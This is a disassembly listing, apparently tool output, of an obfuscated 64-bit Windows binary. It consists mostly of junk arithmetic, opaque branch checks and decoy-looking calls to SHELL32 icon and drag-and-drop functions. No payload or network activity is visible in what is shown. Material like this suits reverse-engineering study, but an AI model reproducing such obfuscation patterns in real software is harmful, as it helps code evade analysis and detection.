mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
or rdx, rcx
mov qword [rax], rdx
mov eax, dword [rbp + 0x35b4]
shr eax, 0xe
mov dword [rbp + 0x35b4], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
shl rdx, 0x37
mov qword [rax], rdx
movzx eax, word [rbp + 0x4328]
xor eax, 0x61
mov word [rbp + 0x4328], ax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
and rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x2ee]
add ax, 0x6317
mov word [rbp + 0x302], ax
movzx eax, byte [rbp + 0x51f]
add eax, 0x7b
mov byte [rbp + 0x51f], al
mov eax, dword [rbp + 0x35b4]
sub eax, 0x684e8388
mov dword [rbp + 0x35b4], eax
mov eax, dword [rbp + 0x35b4]
add eax, 0x560c65c2
mov dword [rbp + 0x35b4], eax
movabs rax, 0x17c788cd257f0c27
add qword [rbp + 0x162e8], rax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x61a0d1a74082c78
and rax, rdx
mov qword [rbp + 0x4e8], rax
mov eax, dword [section..data]
add eax, 0x3e58582a
mov dword [section..data], eax
movzx eax, byte [rbp + 0x51f]
sub eax, 0x2f
mov byte [rbp + 0x51f], al
movzx eax, word [rbp + 0x302]
sub ax, 0x7960
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x2ee]
sar ax, 6
mov word [rbp + 0x302], ax
movzx eax, byte [rbp + 0x51f]
or eax, 0x72
mov byte [rbp + 0x51f], al
mov eax, dword [rbp + 0x35b4]
xor eax, 0x5108f855
mov dword [rbp + 0x35b4], eax
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
mov ecx, eax
mov rax, qword [rbp + 0x4448]
shl rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
and rdx, rcx
mov qword [rax], rdx
mov eax, dword [rbp + 0x35b4]
sub eax, 0x7a8b09c1
mov dword [rbp + 0x35b4], eax
movzx eax, word [rbp + 0x4328]
add ax, 0x294
mov word [rbp + 0x4328], ax
mov eax, dword [section..data]
sub eax, 0x452113ec
mov dword [section..data], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x272d430a0523c0ec
add rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x302]
sub ax, 0x1637
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x4328]
sub ax, 0x61e
mov word [rbp + 0x4328], ax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x361a4662285260ae
and rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
cmp dword [rbp + 0x16430], 0x1099b
jne 0x1400040f0
lea rax, [rbp + 0x35b4]
mov qword [rbp + 0x16d8], rax
mov dword [rbp + 0x16438], 0xd280
mov dword [rbp + 0x16414], 0x8a05
mov dword [rbp + 0x163a0], 0x8600
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
sar rax, 4
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
mov ecx, eax
mov rax, qword [rbp + 0x4448]
shl rdx, cl
mov qword [rax], rdx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x26c7c8450603bd23
or rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
xor rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
movzx eax, word [rbp + 0x4328]
and ax, 0xbb9
mov word [rbp + 0x4328], ax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0x38ef71f6
mov dword [rax], edx
sub dword [rbp + 0x16350], 0x11
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0xf65213c3f6582949
add rdx, rcx
mov qword [rax], rdx
movabs rax, 0xad05effece5a0121
add qword [rbp + 0x162e8], rax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0xb388fdd82490b69d
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub ecx, edx
mov dword [rax], ecx
mov eax, dword [section..data]
sub eax, 0x450417c0
mov dword [section..data], eax
movzx eax, word [rbp + 0x2ee]
add ax, 0x2e77
mov word [rbp + 0x302], ax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x4ef786a147fd2d79
and rdx, rcx
mov qword [rax], rdx
movzx eax, byte [rbp + 0x51f]
shr al, 6
mov byte [rbp + 0x51f], al
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x623645a3c3c81510
xor rdx, rcx
mov qword [rax], rdx
movzx eax, byte [rbp + 0x51f]
shl eax, 6
mov byte [rbp + 0x51f], al
movabs rax, 0xf5ff092ab956b870
or qword [rbp + 0x162e8], rax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub edx, 0x13f291d4
mov dword [rax], edx
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
add eax, 0x6fe648d
mov dword [rbp + 0x35b4], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x305f362d728053ab
and rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x2ee]
sub ax, 0x55b6
mov word [rbp + 0x302], ax
movzx eax, word [rbp + 0x4328]
sub ax, 0xf7c
mov word [rbp + 0x4328], ax
movzx eax, word [rbp + 0x4328]
sub ax, 0xd13
mov word [rbp + 0x4328], ax
movzx eax, byte [rbp + 0x51f]
sub eax, 0x51
mov byte [rbp + 0x51f], al
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x4b8a0aa00cfad549
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
sub eax, 0x2a10c4f0
mov dword [rbp + 0x35b4], eax
cmp dword [rbp + 0x16350], 0xd29a
ja 0x1400044ef
movzx eax, byte [rbp + 0x51f]
movzx eax, al
cmp eax, 0xef
jne 0x1400e26fa
jmp 0x140004bba
movzx eax, word [rbp + 0x4328]
and ax, 0x9d1
mov word [rbp + 0x4328], ax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x58f6977f54c93278
add rdx, rcx
mov qword [rax], rdx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x159f80b95c91a3c9
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub ecx, edx
mov dword [rax], ecx
movzx eax, byte [rbp + 0x51f]
sub eax, 0x5d
mov byte [rbp + 0x51f], al
movzx eax, word [rbp + 0x4328]
sub ax, 0xbc1
mov word [rbp + 0x4328], ax
movzx eax, word [rbp + 0x4328]
or ax, 0x8b4
mov word [rbp + 0x4328], ax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sar rdx, 0x34
mov qword [rax], rdx
movabs rax, 0xc56cee2ab1f819f9
xor qword [rbp + 0x162e8], rax
mov rax, qword [rbp + 0x16d8]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
and edx, 0x1c4f0033
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sub rcx, rdx
mov qword [rax], rcx
movzx eax, word [rbp + 0x2ee]
sub ax, 0x206b
mov word [rbp + 0x302], ax
movzx eax, word [rbp + 0x4328]
sub ax, 0x869
mov word [rbp + 0x4328], ax
movzx eax, word [rbp + 0x4328]
add ax, 0x52d
mov word [rbp + 0x4328], ax
movzx eax, word [rbp + 0x302]
and ax, 0x570a
mov word [rbp + 0x2ee], ax
movzx eax, byte [rbp + 0x51f]
sub eax, 0x17
mov byte [rbp + 0x51f], al
movzx eax, word [rbp + 0x302]
add ax, 0x4f34
mov word [rbp + 0x2ee], ax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
add dword [rbp + 0x16414], 0xe4
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub edx, 0x2f4f0f46
mov dword [rax], edx
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
shr edx, 7
mov dword [rax], edx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x55c4c467bf8983bf
or rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x302]
xor ax, 0x38a0
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x4328]
shl eax, 2
mov word [rbp + 0x4328], ax
movzx eax, byte [rbp + 0x51f]
and eax, 0xffffffc4
mov byte [rbp + 0x51f], al
movabs rax, 0xce381f7bf33a7e6f
add qword [rbp + 0x162e8], rax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0x1db7b8f5
mov dword [rax], edx
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0x1c51b87e
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov eax, dword [section..data]
sub eax, 0x697021d8
mov dword [section..data], eax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
and rdx, rcx
mov qword [rax], rdx
movzx eax, byte [rbp + 0x51f]
add eax, 0x77
mov byte [rbp + 0x51f], al
movzx eax, word [rbp + 0x4328]
sub ax, 0x786
mov word [rbp + 0x4328], ax
movzx eax, word [rbp + 0x4328]
add ax, 0x3b3
mov word [rbp + 0x4328], ax
movzx eax, word [rbp + 0x302]
xor ax, 0x2399
mov word [rbp + 0x2ee], ax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
shl rax, 0x12
mov qword [rbp + 0x4e8], rax
movabs rax, 0x8be1b6e672fac62f
or qword [rbp + 0x162e8], rax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sar rdx, 0x13
mov qword [rax], rdx
mov eax, dword [section..data]
and eax, 0x5170e023
mov dword [section..data], eax
movzx eax, word [rbp + 0x4328]
sub ax, 0x7de
mov word [rbp + 0x4328], ax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x2759c06266878e3e
add rax, rdx
mov qword [rbp + 0x4e8], rax
movzx eax, byte [rbp + 0x51f]
add eax, 0x4c
mov byte [rbp + 0x51f], al
movzx eax, word [rbp + 0x2ee]
sub ax, 0x4aae
mov word [rbp + 0x302], ax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub edx, 0x5ee5e804
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0xd39d09b78fbcf3b0
add rax, rdx
mov qword [rbp + 0x4e8], rax
movabs rax, 0xb51a192c4fef4d1e
and qword [rbp + 0x162e8], rax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
add eax, 0x14f5a687
mov dword [rbp + 0x35b4], eax
cmp dword [rbp + 0x16414], 0x9f64
jbe 0x140004788
movzx eax, byte [rbp + 0x51f]
cmp al, 0x33
ja 0x140004c9d
movzx eax, word [rbp + 0x4328]
xor ax, 0x4e4
mov word [rbp + 0x4328], ax
movzx eax, word [rbp + 0x302]
cwde
mov edx, 0x2fe5
mov ecx, edx
shl eax, cl
mov edx, eax
movzx eax, word [rbp + 0x2ee]
cwde
cmp edx, eax
je 0x140004c33
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
mov r9d, edx
mov r8d, 0x7d
mov edx, 0xffffff88
mov ecx, eax
call fcn.1400e3877
jmp 0x140004c9d
movabs rax, 0xc1031b456fbabd2c
cmp rax, qword [rbp + 0x162e8]
jb 0x140004c9d
mov rax, qword [rbp + 0x25d8]
lea r8, [rbp + 0x1e88]
lea rdx, [rbp + 0x898]
lea rcx, [rbp + 0x16d8]
mov qword [rsp + 0x20], rcx
mov r9d, 0xae
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_SHDoDragDrop]
call rax
mov dword [rbp + 0x159a8], eax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
or rdx, rcx
mov qword [rax], rdx
mov dword [rbp + 0x163a8], 0x941d
mov eax, dword [rbp + 0x35b4]
mov edx, 0xc41ee655
mov ecx, edx
shr eax, cl
mov edx, eax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
cmp eax, edx
jae 0x140004d57
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
cmp eax, 0x38de3d77
jne 0x140004d20
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0xf773b989e0e0b0b2
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x10e0]
mov rdx, qword [rbp + 0x159a0]
mov r8d, 0x61
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ExtractIconA]
call rax
mov qword [rbp + 0x32e0], rax
jmp 0x140004d45
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x35b4]
mov r9d, edx
mov r8d, 0x58
mov edx, 0xffffffb5
mov ecx, eax
call fcn.1400e3877
nop
movzx eax, word [rbp + 0x4328]
and ax, 0x8fd
mov word [rbp + 0x4328], ax
mov dword [rbp + 0x16408], 0xe05f
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x2ee]
add ax, 0x60e8
mov word [rbp + 0x302], ax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0xe0a3e3f
mov dword [rax], edx
add dword [rbp + 0x163bc], 0x6f
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0xb60b33a949cafa87
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0xdcf31df
mov dword [rax], edx
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub edx, 0x1249ad55
mov dword [rax], edx
movzx eax, word [rbp + 0x302]
and ax, 0xdfa
mov word [rbp + 0x2ee], ax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
or eax, 0xdf7c7162
mov dword [rbp + 0x35b4], eax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
xor rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x16d8]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
mov ecx, eax
mov rax, qword [rbp + 0x4448]
sar rdx, cl
mov qword [rax], rdx
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0x59b8a469
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov eax, dword [section..data]
and eax, 0x11312dc7
mov dword [section..data], eax
movzx eax, byte [rbp + 0x51f]
add eax, 0x64
mov byte [rbp + 0x51f], al
movzx eax, word [rbp + 0x302]
add ax, 0x25b5
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x4328]
sub ax, 0xc4b
mov word [rbp + 0x4328], ax
movzx eax, byte [rbp + 0x51f]
sub eax, 0x24
mov byte [rbp + 0x51f], al
movzx eax, word [rbp + 0x4328]
sub ax, 0x529
mov word [rbp + 0x4328], ax
movzx eax, word [rbp + 0x2ee]
add ax, 0x7495
mov word [rbp + 0x302], ax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub ecx, edx
mov dword [rax], ecx
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub edx, 0x34625310
mov dword [rax], edx
mov eax, dword [section..data]
shl eax, 7
mov dword [section..data], eax
movabs rax, 0x1989a444a53dde9b
xor qword [rbp + 0x162e8], rax
movzx eax, byte [rbp + 0x51f]
shr al, 6
mov byte [rbp + 0x51f], al
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x4d087bc7a08429ae
or rdx, rcx
mov qword [rax], rdx
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x513b07b08ef1364e
and rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
sub eax, 0x1e1ef524
mov dword [rbp + 0x35b4], eax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
and edx, 0xc0894d03
mov dword [rax], edx
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0x310f545d
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
cmp dword [rbp + 0x163bc], 0x56e3
jbe 0x140004d61
movzx eax, word [rbp + 0x4328]
mov word [rbp + 0x232e], ax
mov eax, dword [section..data]
mov dword [rbp + 0x3d50], eax
mov dword [rbp + 0x16324], 0xec35
mov dword [rbp + 0x16370], 0xb779
movzx eax, byte [rbp + 0x51f]
movzx eax, al
cmp eax, 1
je 0x1400050e7
cmp eax, 0xf2
jne 0x1400e262a
movzx eax, word [rbp + 0x232e]
shr ax, 0xa
mov word [rbp + 0x4328], ax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x30d291c4284f9e8a
or rdx, rcx
mov qword [rax], rdx
jmp 0x1400e262a
nop
movzx eax, word [rbp + 0x2ee]
shl eax, 2
mov word [rbp + 0x302], ax
mov eax, dword [rbp + 0x3d50]
and eax, 0x2ed3f92c
mov dword [section..data], eax
movabs rax, 0x38b85704d8db30a1
add qword [rbp + 0x162e8], rax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0xfce3f54807b83396
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
add eax, 0x31084821
mov dword [rbp + 0x35b4], eax
mov eax, dword [section..data]
add eax, 0x20f1c92
mov dword [rbp + 0x3d50], eax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x18e18d08cd60eef9
and rax, rdx
mov qword [rbp + 0x4e8], rax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub edx, 0x2471c0ce
mov dword [rax], edx
movzx eax, word [rbp + 0x2ee]
add ax, 0x604f
mov word [rbp + 0x302], ax
movzx eax, byte [rbp + 0x51f]
sub eax, 0x50
mov byte [rbp + 0x51f], al
mov eax, dword [rbp + 0x3d50]
add eax, 0x722e8dfc
mov dword [section..data], eax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x177c1f03831dbefb
xor rax, rdx
mov qword [rbp + 0x4e8], rax
shl qword [rbp + 0x162e8], 2
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
mov ecx, eax
mov rax, qword [rbp + 0x4448]
sar rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
or eax, 0x6481a88b
mov dword [rbp + 0x35b4], eax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
and rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x4328]
add ax, 0x3bf
mov word [rbp + 0x232e], ax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub edx, 0x72b38852
mov dword [rax], edx
add dword [rbp + 0x16354], 0xed
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
sub edx, 0x734cfab5
mov dword [rax], edx
mov eax, dword [rbp + 0x3d50]
add eax, 0x485a9270
mov dword [section..data], eax
movabs rax, 0xbaa301bf5b6b2f1d
add qword [rbp + 0x162e8], rax
mov eax, dword [section..data]
and eax, 0x5435cf97
mov dword [rbp + 0x3d50], eax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x84b66556882f5e01
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
add eax, 0x3f3941ee
mov dword [rbp + 0x35b4], eax
movzx eax, byte [rbp + 0x51f]
add eax, 0x2e
mov byte [rbp + 0x51f], al
movzx eax, word [rbp + 0x4328]
shl eax, 7
mov word [rbp + 0x232e], ax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
or edx, 0x8e5cf838
mov dword [rax], edx
mov eax, dword [section..data]
sar eax, 7
mov dword [rbp + 0x3d50], eax
mov eax, dword [rbp + 0x3d50]
xor eax, 0x12a82838
mov dword [section..data], eax
cmp dword [rbp + 0x16354], 0xec10
jne 0x1400050e6
movabs rax, 0x20d3e0b9c062af75
cmp qword [rbp + 0x162e8], rax
je 0x1400053d8
movabs rax, 0xf3a13d0b5b7a27dd
cmp qword [rbp + 0x162e8], rax
jne 0x140005439
mov rax, qword [rbp + 0x720]
lea rcx, [rbp + 0x32e0]
mov dword [rsp + 0x28], 0xad
lea rdx, [rbp + 0x302]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0x89
mov edx, 0xf2
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_SHDefExtractIconA]
call rax
mov dword [rbp + 0x2aec], eax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x41bad564fa560932
and rax, rdx
mov qword [rbp + 0x4e8], rax
jmp 0x140005439
movzx eax, byte [rbp + 0x51f]
cmp al, 0xd3
ja 0x140005424
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sub rcx, rdx
mov qword [rax], rcx
movzx eax, byte [rbp + 0x51f]
movzx edx, al
mov rax, qword [rbp + 0x4e8]
mov rcx, qword [rbp + 0x162e8]
mov r8, rcx
mov rcx, rax
call fcn.1400e34fb
mov dword [rbp + 0x16300], 0x99f1
mov dword [rbp + 0x16360], 0xf4c0
nop
mov eax, dword [rbp + 0x35b4]
cmp eax, 0x5fbccba5
je 0x1400e2505
cmp eax, 0xde7efcba
jne 0x1400e25d4
jmp 0x140005844
mov eax, dword [rbp + 0x3d50]
shl eax, 0x1f
mov dword [section..data], eax
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
or edx, ecx
mov dword [rax], edx
movabs rax, 0x2fd2ce7892ddd4d9
xor qword [rbp + 0x162e8], rax
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x2db346fb95bc3340
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
and rdx, rcx
mov qword [rax], rdx
movzx eax, word [rbp + 0x302]
add ax, 0x33fb
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x302]
sub ax, 0x75f8
mov word [rbp + 0x2ee], ax
movzx eax, word [rbp + 0x232e]
sub ax, 0x5d6
mov word [rbp + 0x4328], ax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0x62f72caf
mov dword [rax], edx
mov eax, dword [rbp + 0x3d50]
add eax, 0x3a44734
mov dword [section..data], eax
movabs rax, 0x448fe2adf1d1b2ff
add qword [rbp + 0x162e8], rax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x74a04d6cfd23cb7d
and rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x16d8]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
movzx eax, byte [rbp + 0x51f]
xor eax, 0xf
mov byte [rbp + 0x51f], al
movzx eax, word [rbp + 0x4328]
shr ax, 0xb
mov word [rbp + 0x232e], ax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
movabs rcx, 0x669507c68a3a3c98
or rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
movabs rdx, 0x3cf48828ac2ba8f5
and rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
add eax, 0x743e03bb
mov dword [rbp + 0x35b4], eax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sub rcx, rdx
mov qword [rax], rcx
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0x24b3de62
mov dword [rax], edx
movzx eax, byte [rbp + 0x51f]
sub eax, 0x68
mov byte [rbp + 0x51f], al
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, ecx
mov dword [rax], edx
movzx eax, word [rbp + 0x302]
sub ax, 0x59e2
mov word [rbp + 0x2ee], ax
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
add edx, 0x57186697
mov dword [rax], edx
sub dword [rbp + 0x16324], 0x49
movzx eax, word [rbp + 0x4328]
sub ax, 0xc4d
mov word [rbp + 0x232e], ax
mov eax, dword [rbp + 0x3d50]
